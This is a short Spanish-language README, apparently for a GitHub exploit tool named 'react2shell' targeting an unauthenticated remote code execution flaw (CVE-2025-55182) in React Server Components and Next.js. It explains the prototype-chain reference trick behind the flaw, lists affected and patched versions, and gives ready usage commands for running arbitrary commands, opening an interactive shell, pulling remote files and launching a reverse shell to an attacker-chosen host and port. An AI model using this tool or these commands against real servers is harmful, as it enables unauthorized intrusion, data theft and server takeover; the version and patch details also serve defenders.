
react2shell - CVE-2025-55182 (Next.js: CVE-2025-66478) - RCE no autenticado en React Server Components (Flight Protocol) - Exploit PoC

CVE-2025-55182 (Next.js: CVE-2025-66478)
RCE no autenticado en React Server Components (Flight Protocol) - Exploit PoC
Los React Server Components (Flight protocol) deserializan multipart/form-data controlado por el atacante sin validar el acceso a la cadena de prototipos. Una única petición POST sin autenticar con una cabecera Next-Action alcanza el constructor Function a través de una cadena de referencias manipulada ($1:__proto__:then + $1:constructor:constructor), lo que resulta en ejecución remota de código en el servidor.
Afecta a react-server-dom-{webpack,turbopack,parcel} 19.0.0 - 19.2.0 y a los consumidores posteriores, incluido el App Router de Next.js (14.3.0-canary.77+, 15.x, 16.x). Los proyectos create-next-app por defecto son vulnerables.
git clone https://github.com/rvzsec/react2shell
cd react2shell
pip3 install -r requirements.txt
python3 react2shell.py check -t <target>
python3 react2shell.py exec -t <target> -c '<command>'
python3 react2shell.py shell -t <target>
python3 react2shell.py file -t <target> -f <remote-path> -o <local-out>
python3 react2shell.py revshell -t <target> --lhost <ip> --lport <port>
React 19.0.1 / 19.1.2 / 19.2.1+ - Next.js 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7
Divulgación original: Lachlan Davidson (@lachlan2k)